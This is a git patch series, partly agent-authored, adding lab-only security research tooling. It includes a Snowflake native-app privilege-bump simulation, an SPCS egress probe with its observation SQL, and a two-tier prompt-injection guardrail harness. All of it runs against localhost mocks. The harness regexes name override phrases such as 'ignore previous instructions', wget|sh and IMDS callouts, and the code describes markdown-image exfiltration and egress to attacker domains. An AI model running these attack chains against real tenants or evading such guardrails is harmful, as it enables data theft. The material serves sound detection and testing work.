"MARKETPLACE_PROVIDER"}, + timeout=5, + ) + # Fall back to a password+MFA login flow if the seed endpoint is absent. + if resp.status_code == 404: + login = requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/sessions/v1/login-request", + json={"data": {"AUTHENTICATOR": "USERNAME_PASSWORD_MFA", + "LOGIN_NAME": "scim_provisioner", + "PASSWORD": "lab-passwd", + "MFA_TOKEN": "000000", + "CLIENT_APP_ID": "version-bump-sim"}}, + timeout=5, + ).json() + if not login.get("success"): + raise SystemExit(f"provider login failed: {login}") + return login["data"]["token"] + resp.raise_for_status() + return resp.json()["token"] + + +def _consumer_login(consumer_account: str) -> str: + login = requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/sessions/v1/login-request", + json={"data": {"AUTHENTICATOR": "USERNAME_PASSWORD_MFA", + "LOGIN_NAME": "analyst_alice", + "PASSWORD": "lab-passwd", + "MFA_TOKEN": "000000", + "CLIENT_APP_ID": "version-bump-sim"}}, + timeout=5, + ).json() + if not login.get("success"): + raise SystemExit(f"consumer login failed: {login}") + return login["data"]["token"] + + +def _publish(session: str, package: str, manifest: dict) -> dict: + return requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/native-apps/publish", + headers={"Authorization": f'Snowflake Token="{session}"'}, + json={"package": package, + "version": manifest["version"], + "manifest": manifest}, + timeout=5, + ).json() + + +def _install(session: str, package: str, version: str, + consumer_account: str, auto_upgrade: bool) -> dict: + return requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/native-apps/install", + headers={"Authorization": f'Snowflake Token="{session}"'}, + json={"package": package, "version": version, + "consumer_account": consumer_account, + "auto_upgrade": auto_upgrade}, + timeout=5, + ).json() + + +def _history(session: str, consumer_account: str) -> list[dict]: + resp = requests.get( + f"{MOCK_SNOWFLAKE_URL}/api/v2/native-apps/history", + headers={"Authorization": f'Snowflake Token="{session}"'}, + params={"consumer_account": consumer_account}, + timeout=5, + ).json() + return resp.get("history", []) + + +def main() -> int: + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("--provider-account", default="lab-attacker-acct") + parser.add_argument("--consumer-account", required=True) + parser.add_argument("--package", default="ACME_ANALYTICS_APP") + parser.add_argument("--variant", choices=["v2-priv", "v2-eai"], + default="v2-priv") + parser.add_argument("--no-auto-upgrade", action="store_true", + help="Model the case where the consumer pinned the version") + parser.add_argument("--out", type=Path, + help="Write the audit-history projection to JSON") + args = parser.parse_args() + + try: + with ContainmentGuard("snowflake-native-app-version-bump-sim", + require_lab=True) as guard: + guard.assert_snowflake_lab_account(args.provider_account) + guard.assert_snowflake_lab_account(args.consumer_account) + guard.assert_snowflake_is_mock(MOCK_SNOWFLAKE_URL) + + v1 = v1_baseline(args.package) + v2 = (v2_with_privilege_bump(args.package) + if args.variant == "v2-priv" + else v2_with_eai_bump(args.package)) + + print(f"[1] provider {args.provider_account} publishes v{v1.version}") + prov = _consumer_login(args.consumer_account) # mock: any session works for publish + pub1 = _publish(prov, args.package, asdict(v1)) + print(f" [+] manifest_hash={pub1['manifest_hash']}") + + print(f"[2] consumer {args.consumer_account} installs v{v1.version}") + ins1 = _install(prov, args.package, v1.version, + args.consumer_account, auto_upgrade=False) + print(f" [+] {ins1['event_type']} hash={ins1['manifest_hash_current']}") + + print(f"[3] provider publishes v{v2.version} ({args.variant})") + pub2 = _publish(prov, args.package, asdict(v2)) + print(f" [+] manifest_hash={pub2['manifest_hash']}") + + auto = not args.no_auto_upgrade + print(f"[4] consumer {'auto-upgrades' if auto else 'pinned — manual install'} to v{v2.version}") + ins2 = _install(prov, args.package, v2.version, + args.consumer_account, auto_upgrade=auto) + print(f" [+] {ins2['event_type']} prev={ins2['previous_version']} " + f"curr={ins2['current_version']} auto={ins2['auto_upgrade']}") + print(f" [+] manifest_diff_added: {ins2['manifest_diff_added']}") + privilege_adds = [t for t in ins2['manifest_diff_added'] + if t.startswith("PRIVILEGE:")] + eai_adds = [t for t in ins2['manifest_diff_added'] + if t.startswith("EXTERNAL ACCESS INTEGRATION:")] + if privilege_adds: + print(f" [!] {len(privilege_adds)} new privilege(s) requested without re-consent") + for p in privilege_adds: + print(f" {p}") + if eai_adds: + print(f" [!] {len(eai_adds)} new EAI(s) requested without re-consent") + + print("[5] history projection (the rows the detection rules consume):") + hist = _history(prov, args.consumer_account) + for rec in hist: + print(f" - {rec['event_type']:<22} {rec['application_name']} " + f"v{rec['previous_version']} → v{rec['current_version']} " + f"auto_upgrade={rec['auto_upgrade']}") + if args.out: + args.out.write_text(json.dumps(hist, indent=2)) + print(f"[*] audit history written to {args.out}") + return 0 + + except ContainmentError as exc: + print(f"[!] containment refused: {exc}", file=sys.stderr) + return 2 + except requests.ConnectionError as exc: + print(f"[!] cannot reach mock-snowflake at {MOCK_SNOWFLAKE_URL}: {exc}", + file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) From 544c2dc36528e85bea5695dc046ba4267c9e03b6 Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:16:43 -0500 Subject: [PATCH 6/8] =?UTF-8?q?Snowflake=20iter-4=20Chain=20H=20=E2=80=94?= =?UTF-8?q?=20SPCS=20empirical=20egress=20matrix?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the iter-3 "open empirical question" framing on Chain H by shipping a structural matrix the analytical doc now embeds. The mock extensions (sibling commit) accept `inspection_depth` and `eai_rule_shape` knobs; this PoC walks the full DNS-only / SNI / L7 × WILDCARD / SCOPED / DENY_BY_DEFAULT × loopback / approved-vendor / attacker-domain grid. Findings (modeled, not tenant-confirmed): - WILDCARD / OPEN_ANY EAI rule is a sanctioned exfil channel at every inspection depth. - SCOPED rule is structurally permissive at DNS-only inspection — hosts behind a shared A record bypass the gate. - SCOPED rule enforces at SNI and L7. - DENY_BY_DEFAULT denies at every depth. The matrix reads vendor docs structurally; tenant validation remains a follow-on for organizations with an SPCS deployment. `lab-validation/spcs_egress_observe.sql` captures the ACCOUNT_USAGE projection that pairs with the probe — INTEGRATIONS + NETWORK_RULES + SERVICES, plus a pointer to the cloud-provider audit where Snowflake itself doesn't surface SPCS egress flows. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../lab-validation/spcs_egress_observe.sql | 64 ++++++++ .../snowflake-pivot/spcs_egress_probe.py | 145 ++++++++++++++++++ 2 files changed, 209 insertions(+) create mode 100644 tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql create mode 100644 tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py diff --git a/tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql b/tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql new file mode 100644 index 0000000..9f0be28 --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql @@ -0,0 +1,64 @@ +-- spcs_egress_observe.sql +-- Chain H — SPCS egress observation under different EAI shapes. +-- +-- The mock simulates the egress decision; in a real tenant, the +-- decision lives in cloud-provider network logs (VPC flow logs, +-- NSG flow logs, or the analogous GCP audit). Snowflake's own audit +-- captures the EAI configuration row, not the egress flows. + +-- 1. EAI configuration inventory. The shape of the referenced +-- NETWORK RULE is the property that determines egress posture. +SELECT + integration_name, + integration_type, + allowed_network_rules, + comment, + created_on, + last_altered +FROM SNOWFLAKE.ACCOUNT_USAGE.INTEGRATIONS +WHERE deleted_on IS NULL + AND integration_type = 'EXTERNAL_ACCESS' +ORDER BY last_altered DESC; + +-- 2. NETWORK RULE values referenced by EAIs. Look for OPEN_ANY-style +-- shapes and overly-broad CIDRs. +SELECT + rule_name, + type AS rule_type, + mode, + value_list, + comment, + created_on, + last_altered +FROM SNOWFLAKE.ACCOUNT_USAGE.NETWORK_RULES +WHERE deleted_on IS NULL + AND rule_name IN ( + SELECT FLATTEN_VALUE + FROM SNOWFLAKE.ACCOUNT_USAGE.INTEGRATIONS, + LATERAL FLATTEN(input => allowed_network_rules) AS FLATTEN_VALUE + WHERE integration_type = 'EXTERNAL_ACCESS' + AND deleted_on IS NULL + ) +ORDER BY last_altered DESC; + +-- 3. SPCS service inventory referencing each EAI. The pair +-- (service, EAI, NETWORK RULE) is the join key the detection rule +-- consumes. +SELECT + service_name, + compute_pool, + external_access_integrations, + created_on, + spec_definition +FROM SNOWFLAKE.ACCOUNT_USAGE.SERVICES +WHERE deleted_on IS NULL +ORDER BY created_on DESC; + +-- 4. Cloud-provider egress (production-side only). Snowflake does not +-- surface SPCS egress flows in ACCOUNT_USAGE; the customer's +-- cloud-network audit is the authoritative source. +-- +-- AWS: SELECT ... FROM aws_vpc_flow_logs WHERE eni_id IN () +-- Azure: AzureDiagnostics | where ResourceType == "NETWORKSECURITYGROUPS" ... +-- GCP: SELECT ... FROM `*.vpcflows` +-- Snowflake's own audit gap on this dimension is the point of Chain H. diff --git a/tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py b/tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py new file mode 100644 index 0000000..66d328d --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +""" +SPCS egress depth × EAI rule shape probe (Chain H). + +Drives the lab mock-snowflake SPCS simulator across the full matrix of +inspection depths (DNS_ONLY, SNI, L7) × EAI rule shapes (WILDCARD, +SCOPED, DENY_BY_DEFAULT) × destination classes (loopback, +approved-vendor, attacker-domain). Prints the allow/deny matrix and +the reason each cell was decided that way. + +The matrix is *modeled*: the inspection-depth knob is not a documented +customer-tunable parameter, and the mock's per-depth enforcement is a +best-effort reading of Snowflake's documentation. Treat the result as +a structural map of the failure modes, not a tenant-confirmed +measurement — that follow-on requires either Snowflake validation or +a single-tenant test the chain doc calls out. + +Usage: + EXPLOIT_LAB_ACTIVE=1 SNOWFLAKE_LAB_ACCOUNT=lab-acct-00000000 \\ + python tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py \\ + --account lab-acct-00000000 \\ + --pat pat_ +""" + +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[3] / "tools")) +from lib.containment import ContainmentGuard, ContainmentError # noqa: E402 + +import requests # noqa: E402 + +MOCK_SNOWFLAKE_URL = "http://127.0.0.1:9600" + +INSPECTION_DEPTHS = ["DNS_ONLY", "SNI", "L7"] +RULE_SHAPES = ["WILDCARD", "SCOPED", "DENY_BY_DEFAULT"] +DESTINATIONS = ["lab-loopback", "approved-vendor", "attacker-domain"] +APPROVED_ALLOWLIST = ["vendor.corp", "10.50.0.10"] + + +def _login(pat: str) -> str: + resp = requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/sessions/v1/login-request", + json={"data": {"AUTHENTICATOR": "PROGRAMMATIC_ACCESS_TOKEN", + "TOKEN": pat, "CLIENT_APP_ID": "spcs-egress-probe"}}, + timeout=5, + ).json() + if not resp.get("success"): + raise SystemExit(f"PAT rejected: {resp}") + return resp["data"]["token"] + + +def _create_service(session: str, name: str, depth: str, shape: str) -> dict: + return requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/spcs/services", + headers={"Authorization": f'Snowflake Token="{session}"'}, + json={"name": name, "inspection_depth": depth, + "eai_rule_shape": shape, + "eai_allowlist": APPROVED_ALLOWLIST if shape == "SCOPED" else []}, + timeout=5, + ).json() + + +def _egress(session: str, service: str, destination: str) -> dict: + return requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/spcs/services/{service}/egress", + headers={"Authorization": f'Snowflake Token="{session}"'}, + json={"destination": destination}, + timeout=5, + ).json() + + +def main() -> int: + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("--account", required=True) + parser.add_argument("--pat", required=True) + parser.add_argument("--out", type=Path, help="Write matrix as JSON") + args = parser.parse_args() + + try: + with ContainmentGuard("snowflake-spcs-egress-probe", + require_lab=True) as guard: + guard.assert_snowflake_lab_account(args.account) + guard.assert_snowflake_is_mock(MOCK_SNOWFLAKE_URL) + + session = _login(args.pat) + matrix: list[dict] = [] + for depth in INSPECTION_DEPTHS: + for shape in RULE_SHAPES: + svc_name = f"probe_{depth.lower()}_{shape.lower()}" + _create_service(session, svc_name, depth, shape) + for dest in DESTINATIONS: + entry = _egress(session, svc_name, dest) + matrix.append(entry) + + print("[1] SPCS egress matrix (inspection × EAI shape × destination):\n") + header = f"{'depth':<10} {'shape':<18} {'dest':<18} {'verdict':<6} reason" + print(header) + print("-" * len(header)) + for entry in matrix: + v = entry["decision"] + badge = "[+]" if v == "ALLOW" and entry["is_attacker_destination"] else ( + "[-]" if v == "DENY" else "[ ]") + print(f"{entry['inspection_depth']:<10} " + f"{entry['eai_rule_shape']:<18} " + f"{entry['destination_key']:<18} " + f"{v:<6} {badge} {entry['reason']}") + + attacker_allows = [e for e in matrix + if e["is_attacker_destination"] + and e["decision"] == "ALLOW"] + print(f"\n[2] cells that allow egress to an attacker destination: {len(attacker_allows)}/{len(matrix)}") + for e in attacker_allows: + print(f" [!] {e['inspection_depth']:<10} {e['eai_rule_shape']:<18}" + f" — {e['reason']}") + + print("\n[3] takeaway for Chain H:") + print(" Inspection depth determines whether a SCOPED EAI rule is") + print(" actually enforcing per-destination scope. At DNS_ONLY,") + print(" a SCOPED rule is structurally permissive — the gate cannot") + print(" distinguish hosts behind the same A record. At SNI or L7,") + print(" SCOPED works as intended. A WILDCARD / OPEN_ANY rule is") + print(" a sanctioned exfil channel at every depth.") + + if args.out: + args.out.write_text(json.dumps(matrix, indent=2)) + print(f"\n[*] matrix written to {args.out}") + return 0 + + except ContainmentError as exc: + print(f"[!] containment refused: {exc}", file=sys.stderr) + return 2 + except requests.ConnectionError as exc: + print(f"[!] cannot reach mock-snowflake at {MOCK_SNOWFLAKE_URL}: {exc}", + file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) From badf9ebdbbb6f7ba8dfcb3bb3f5f5fd9aec2c7dc Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:17:02 -0500 Subject: [PATCH 7/8] =?UTF-8?q?Snowflake=20iter-4=20Guardrails=20harness?= =?UTF-8?q?=20=E2=80=94=20tier-1=20/=20tier-2=20reframe?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the iter-3 critique that the harness measures against a "deliberately weak first-gen regex" and reports "regex catches ~half." A strawman knockdown is not a defensible empirical claim. Reframe: the harness now ships two baseline tiers, runs the same corpus through both, and reports the **delta** — which payload classes tier-2 recovers that tier-1 misses, and which classes either tier still leaves uncovered. The single-percentage framing is gone from the headline output. - Tier 1 — first-gen regex baseline (literal pattern match). - Tier 2 — semantic-shape baseline: imperative-mood directives pointed at the AI, role-assertion markers (`System:` / `ASSISTANT:`), fenceless sensitive SQL (`CREATE SHARE`, `ALTER SHARE ADD ACCOUNTS`, `COPY INTO @`, `ALTER NETWORK POLICY`), URL-near-credential shapes, long-base64 / zero-width / confusable-script smells, and markdown-template render shapes. Best-effort approximation of a semantic-aware vendor product; not Snowflake's actual rule set. The harness gains a `--tier` flag (`1`, `2`, or `both`) and the mock's request body accepts a `tier` selector. `run_harness.py` prints per-tier TP/FN/TN/FP plus the recovered / lost diff against the same corpus. README rewritten to drop pass-through-rate framing entirely and lead with the comparison shape. The corresponding analytical-doc reframe (Chain I + Out-of-Scope section) ships in the Chain J commit since it shares the analytical doc. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../cortex/guardrails-harness/README.md | 87 +++++--- .../guardrails-harness/mock_guardrails.py | 190 ++++++++++++++-- .../cortex/guardrails-harness/run_harness.py | 209 ++++++++++-------- 3 files changed, 340 insertions(+), 146 deletions(-) diff --git a/tools/llm-attacks/cortex/guardrails-harness/README.md b/tools/llm-attacks/cortex/guardrails-harness/README.md index 04c3234..36b6177 100644 --- a/tools/llm-attacks/cortex/guardrails-harness/README.md +++ b/tools/llm-attacks/cortex/guardrails-harness/README.md @@ -1,8 +1,22 @@ # Cortex Guardrails — FP/FN Test Harness -Empirical harness for the question the previous report appendix flagged: -*what does the Cortex Guardrails pass-through rate look like on a corpus -of public indirect-prompt-injection payloads?* +Empirical harness for the question the previous report appendix raised: +*what does a regex-class guardrail miss on the public IPI corpus, and +what does a structurally-aware tier recover?* + +The contribution of this harness is the **delta** between two baseline +tiers, run on the same corpus: + +- **Tier 1 — first-gen regex baseline.** Catches literal IPI markers + (`CALL_TOOL:`, "ignore previous instructions", fenced ` ```sql `, + IMDS callouts, `wget|sh`). Misses anything that paraphrases or + restructures the directive into surrounding prose. +- **Tier 2 — semantic-shape baseline.** Adds structural features the + regex tier cannot meaningfully reach: imperative-mood directives + pointed at the AI, role-assertion markers, fenceless sensitive SQL, + URL-near-credential, long-base64 / zero-width / confusable-script + payloads, markdown-template render shapes. Best-effort approximation + of a semantic-aware vendor product — not Snowflake's actual rule set. ## Components @@ -20,12 +34,14 @@ of public indirect-prompt-injection payloads?* `expected_block` flag for scoring and references for traceability; benign controls exercise the new patterns to measure specificity, not just recall. -- `mock_guardrails.py` — deliberately weak first-gen regex guardrail. - Binds to `127.0.0.1:9630`. Serves as the baseline against which any - real measurement should be compared. -- `run_harness.py` — drives the corpus through a guardrails endpoint - and reports TP / FN / TN / FP, recall, specificity, and a per-family / - per-category breakdown. +- `mock_guardrails.py` — both tiers, served from `127.0.0.1:9630`. + The mock implements each tier as a separate scanner; the request + body's `tier` field selects 1, 2, or both. +- `run_harness.py` — runs the corpus through both tiers, prints + TP/FN/TN/FP per tier, then prints the **delta**: payloads where + tier 2 recovered a tier-1 miss, and payloads where tier 2 dropped a + case tier 1 caught (the latter is the structural cost of moving + from literal to semantic detection). ## Usage @@ -37,8 +53,11 @@ python tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py & EXPLOIT_LAB_ACTIVE=1 python tools/llm-attacks/cortex/guardrails-harness/run_harness.py \ --target mock --json-out /tmp/guardrails_mock_report.json +# Run a single tier (rarely needed; delta is the headline) +EXPLOIT_LAB_ACTIVE=1 python ./run_harness.py --target mock --tier 2 + # Against a real endpoint (lab only — requires explicit authorization flag) -EXPLOIT_LAB_ACTIVE=1 python tools/llm-attacks/cortex/guardrails-harness/run_harness.py \ +EXPLOIT_LAB_ACTIVE=1 python ./run_harness.py \ --target real \ --endpoint https://lab-guardrails.example.lab/scan \ --i-have-authorization @@ -46,29 +65,31 @@ EXPLOIT_LAB_ACTIVE=1 python tools/llm-attacks/cortex/guardrails-harness/run_harn ## What the output means -- **Recall (catch rate on injections)** = TP / (TP + FN). This is the - metric the assessment cares about most. A recall well below 100% is - the empirical statement the report appendix asked for. -- **Specificity (clean-prompt pass rate)** = TN / (TN + FP). High - specificity matters for deployability — a guardrail that blocks too - many benign prompts will be turned off. -- **By family** — surfaces which disclosure-class is best/worst caught. -- **By category** — surfaces which attack *intent* is best/worst caught. - -## Baseline result on the mock - -Running the harness against the bundled regex mock produces a recall -well below half on the expanded corpus, even as specificity stays high. -The collapse is concentrated in the context-boundary, encoded-payload, -approval-bypass, MCP, memory-injection, and multimodal categories — the -classes a regex pattern cannot meaningfully reach. The expanded -breakdown is the empirical artifact the assessment appendix wanted: it -shows *which* IPI classes a regex-tier guardrail leaves uncovered, not -just that it leaves some. - -A real-endpoint run against a vendor product is the comparison the -assessment ultimately calls for; the JSON output of the harness is -shaped to drop straight into a diff against the mock baseline. +- **Tier-1 summary** is the floor: what a regex-class guardrail will + miss out of the box on this corpus. +- **Tier-2 summary** is the structural ceiling for a *pattern-only* + semantic guardrail. It is not what a tuned vendor product would + achieve — it does not invoke a language model and cannot reason + about intent or context boundaries. +- **Delta** is the contribution of structural detection: which payload + *classes* a customer must move tooling to semantic-tier to cover at + all. Treat the per-family breakdown as the headline output, not the + aggregate pass-through rate — the aggregate rolls all payload + classes together and obscures the structural story. + +## What this harness does *not* claim + +- A pass-through rate against Snowflake's production Cortex Guardrails + endpoint. That requires real-endpoint measurement with explicit + authorization (see `--target real --i-have-authorization`). +- Specific recall numbers as headline findings. The numbers are + comparative — the publishable result is "tier 2 recovers these + families, leaves these families uncovered," not a single percentage. +- Coverage of an exhaustive payload corpus. The corpus is structurally + derived from public disclosures and is intentionally diverse-by-class + rather than exhaustive-by-payload — production coverage is determined + by the customer's deployed guardrail's posture, not by an academic + recall number on a derived corpus. ## Containment diff --git a/tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py b/tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py index b28ef0c..45edb02 100644 --- a/tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py +++ b/tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py @@ -2,22 +2,39 @@ """ Mock Cortex Guardrails endpoint — lab-internal only. -Binds to 127.0.0.1:9630. Implements a first-generation regex-style -guardrail that is intentionally simplistic: it catches the *literal* -indicators of an injection but misses anything that paraphrases or -rewords. This is the rough behavior of public regex-based guardrails as -of 2026; it is deliberately weaker than what a tuned vendor product -should achieve. - -The harness uses this as a baseline to compare against (a) declared -expected_block on each payload and (b) — optionally, with explicit -opt-in — a real Cortex Guardrails endpoint. - -Endpoints: +Binds to 127.0.0.1:9630. Implements two tiers of guardrail so the +harness can compare them side-by-side: + + * Tier 1 — first-gen regex baseline. Catches the *literal* indicators + of an injection (CALL_TOOL:, "ignore previous instructions", fenced + ```sql, IMDS callouts, wget|sh) but misses anything that paraphrases + or restructures the directive into surrounding prose. This is the + rough behavior of public regex-based guardrails in 2026. + + * Tier 2 — semantic-aware baseline. Adds structural features the + regex tier cannot meaningfully reach: imperative-mood directives + pointed at the AI inside tool-output context, role-assertion + markers ("System:", "ASSISTANT:"), URL-followed-by-credential + fetch shapes, fenceless SQL with sensitive verbs (CREATE SHARE, + ALTER SHARE, COPY INTO @, ALTER NETWORK POLICY), and + encoded-payload smells (base64 of length ≥ 200 inside a tool + output, zero-width characters, unicode-confusable digit/letter + mixes). Tier 2 is still a heuristic — it is a best-effort + approximation of what a semantic-aware vendor product like + Snowflake's Horizon Catalog Guardrails should be expected to do + given its publicly documented capabilities. It is not Snowflake's + actual rule set. + +The harness uses these as comparison baselines — the contribution of +this module is the *delta* between tier 1 and tier 2 on the same +payload corpus, not the absolute number caught by either. + +Endpoint: POST /api/v1/guardrails/scan - request: { "prompt": "...", "context": "..." } - response: { "blocked": bool, "reason": str, "matches": [str, ...] } + request: { "prompt": "...", "context": "...", "tier": "1" | "2" | "both" } + response: { "blocked": bool, "reason": str, "matches": [str, ...], + "tier1": {...}, "tier2": {...} } """ from __future__ import annotations @@ -25,6 +42,7 @@ import logging import os import re +import unicodedata from typing import Any from flask import Flask, jsonify, request, Response @@ -41,7 +59,9 @@ BIND_PORT = int(os.environ.get("MOCK_GUARDRAILS_PORT", "9630")) -PATTERNS: list[tuple[str, re.Pattern[str]]] = [ +# ── Tier 1 — literal regex patterns ────────────────────────────────────── + +TIER1_PATTERNS: list[tuple[str, re.Pattern[str]]] = [ ("ignore_previous_instructions", re.compile(r"ignore (previous|all) instructions", re.IGNORECASE)), ("developer_mode", @@ -69,27 +89,151 @@ ] -def _scan(prompt: str) -> dict[str, Any]: - matches = [] - for name, pat in PATTERNS: - if pat.search(prompt): - matches.append(name) +# ── Tier 2 — semantic-shape patterns ───────────────────────────────────── + +# Imperative directive pointed at the assistant. The classifier catches +# the second-person imperative shape ("now please...", "your next step +# is to...", "after reading this you should...") that paraphrase-style +# injections rely on. +_DIRECTIVE_ALTS = [ + r"now\s+(?:please\s+)?(?:do|run|fetch|execute|read|write|copy|share|grant|alter|create)", + r"(?:your|the)\s+(?:next|final)\s+(?:step|task)\s+is\s+to", + r"after\s+(?:reading|processing)\s+this[^.]*you\s+(?:must|should|need\s+to)", + r"(?:please\s+)?(?:fetch|download|retrieve)\s+(?:from\s+)?https?://\S+", + r"as\s+an?\s+(?:assistant|agent|model),\s+you\s+(?:must|should|will)", +] +TIER2_DIRECTIVE_RE = re.compile( + r"(?:^|\.\s+|\n\s*)(?:" + "|".join(_DIRECTIVE_ALTS) + r")", + re.IGNORECASE, +) + +# Role-assertion markers smuggled into tool output. These are the +# "System:"/"ASSISTANT:" smell prompts use to hijack the chat-template +# boundary. +TIER2_ROLE_ASSERTION_RE = re.compile( + r"^\s*(?:system|assistant|developer|user|tool)\s*:\s*[a-z]", + re.IGNORECASE | re.MULTILINE, +) + +# Fenceless SQL with sensitive verbs (CREATE SHARE / ALTER SHARE ADD +# ACCOUNTS / COPY INTO @ / ALTER NETWORK POLICY). +TIER2_FENCELESS_SQL_RE = re.compile( + r"\b(?:create\s+share\s+\w+" + r"|alter\s+share\s+\w+\s+add\s+accounts" + r"|copy\s+into\s+@\w+" + r"|alter\s+network\s+policy\s+\w+" + r"|grant\s+\w+\s+to\s+(?:role|user))", + re.IGNORECASE, +) + +# URL-followed-by-credential keyword (within ~120 chars). Catches the +# "fetch from this URL and exfil your credentials" paraphrase. +TIER2_URL_NEAR_CRED_RE = re.compile( + r"https?://\S+.{0,120}?" + r"(?:credential|token|api[_\s-]?key|secret|password|session)", + re.IGNORECASE | re.DOTALL, +) + +# Suspiciously long base64-ish run inside tool output (≥200 chars of +# [A-Za-z0-9+/=]). Encoded payloads of this length are uncommon in +# legitimate tool outputs. +TIER2_LONG_BASE64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") + +# Zero-width characters used to hide directives in OCR / markdown. +TIER2_ZERO_WIDTH_RE = re.compile(r"[​‌‍⁠]") + +# Markdown image with template placeholder in the URL — a known +# data-exfil-via-render shape from EchoLeak class. +TIER2_MARKDOWN_TEMPLATE_RE = re.compile( + r"!\[[^\]]*\]\(https?://[^)]*\{\{[^}]+\}\}", +) + + +def _has_confusable_mix(text: str) -> bool: + """Heuristic: a token mixing ASCII letters with confusable letters + from a different script (Cyrillic а vs. Latin a, etc.). Cheap + smell-test for unicode-confusable payloads. + """ + scripts: set[str] = set() + for ch in text: + if not ch.isalpha(): + continue + try: + name = unicodedata.name(ch) + except ValueError: + continue + if "LATIN" in name: + scripts.add("LATIN") + elif "CYRILLIC" in name: + scripts.add("CYRILLIC") + elif "GREEK" in name: + scripts.add("GREEK") + if len(scripts) > 1: + return True + return False + + +def _scan_tier1(prompt: str) -> dict[str, Any]: + matches = [name for name, pat in TIER1_PATTERNS if pat.search(prompt)] return {"blocked": bool(matches), "reason": ",".join(matches), "matches": matches} +def _scan_tier2(prompt: str) -> dict[str, Any]: + matches: list[str] = [] + if TIER2_DIRECTIVE_RE.search(prompt): + matches.append("directive_shape") + if TIER2_ROLE_ASSERTION_RE.search(prompt): + matches.append("role_assertion") + if TIER2_FENCELESS_SQL_RE.search(prompt): + matches.append("fenceless_sensitive_sql") + if TIER2_URL_NEAR_CRED_RE.search(prompt): + matches.append("url_near_credential") + if TIER2_LONG_BASE64_RE.search(prompt): + matches.append("long_base64") + if TIER2_ZERO_WIDTH_RE.search(prompt): + matches.append("zero_width_chars") + if TIER2_MARKDOWN_TEMPLATE_RE.search(prompt): + matches.append("markdown_template_render") + if _has_confusable_mix(prompt): + matches.append("confusable_script_mix") + return {"blocked": bool(matches), "reason": ",".join(matches), + "matches": matches} + + +def _scan(prompt: str, tier: str) -> dict[str, Any]: + t1 = _scan_tier1(prompt) + t2 = _scan_tier2(prompt) + if tier == "1": + return {**t1, "tier1": t1, "tier2": None} + if tier == "2": + return {**t2, "tier1": None, "tier2": t2} + blocked = t1["blocked"] or t2["blocked"] + merged_matches = t1["matches"] + t2["matches"] + return {"blocked": blocked, + "reason": ",".join(merged_matches), + "matches": merged_matches, + "tier1": t1, "tier2": t2} + + @app.route("/api/v1/guardrails/scan", methods=["POST"]) def scan() -> Response: body = request.get_json(force=True) prompt = body.get("prompt", "") - result = _scan(prompt) - log.info(f"[scan] blocked={result['blocked']} reason={result['reason']!r}") + tier = str(body.get("tier", "both")).lower() + if tier not in {"1", "2", "both"}: + return jsonify({"error": "tier must be one of '1', '2', 'both'"}), 400 + result = _scan(prompt, tier) + log.info(f"[scan tier={tier}] blocked={result['blocked']} " + f"reason={result['reason']!r}") return jsonify(result) @app.route("/health", methods=["GET"]) def health() -> Response: - return jsonify({"ok": True, "patterns": len(PATTERNS)}) + return jsonify({"ok": True, + "tier1_patterns": len(TIER1_PATTERNS), + "tier2_checks": 8}) if __name__ == "__main__": diff --git a/tools/llm-attacks/cortex/guardrails-harness/run_harness.py b/tools/llm-attacks/cortex/guardrails-harness/run_harness.py index 180d976..314183f 100644 --- a/tools/llm-attacks/cortex/guardrails-harness/run_harness.py +++ b/tools/llm-attacks/cortex/guardrails-harness/run_harness.py @@ -1,47 +1,31 @@ #!/usr/bin/env python3 """ -Cortex Guardrails FP/FN test harness. +Cortex Guardrails FP/FN test harness — tier-1 vs. tier-2 comparison. Drives the indirect-prompt-injection corpus through one of: * mock → mock-guardrails service on 127.0.0.1:9630 (default) * real → an explicit URL, requires --i-have-authorization -Produces a pass-through-rate report: +For each payload, the mock runs both tiers: - * True positive — corpus says expected_block=True, guardrail blocked. - * False negative — corpus says expected_block=True, guardrail PASSED. - This is what an attacker exploits. - * True negative — corpus says expected_block=False, guardrail passed. - * False positive — corpus says expected_block=False, guardrail blocked. - This is what makes a guardrail painful to deploy. + * Tier 1 — first-gen regex baseline (literal pattern match). + * Tier 2 — semantic-shape baseline (directive shape, role assertion, + fenceless sensitive SQL, URL-near-credential, long-base64, + zero-width, confusable-script mix, markdown-template render). -By family, by category, and overall. +The headline output is the *delta* — which payload classes tier 2 +recovers that tier 1 misses, and which classes remain uncovered at +either tier. The point of 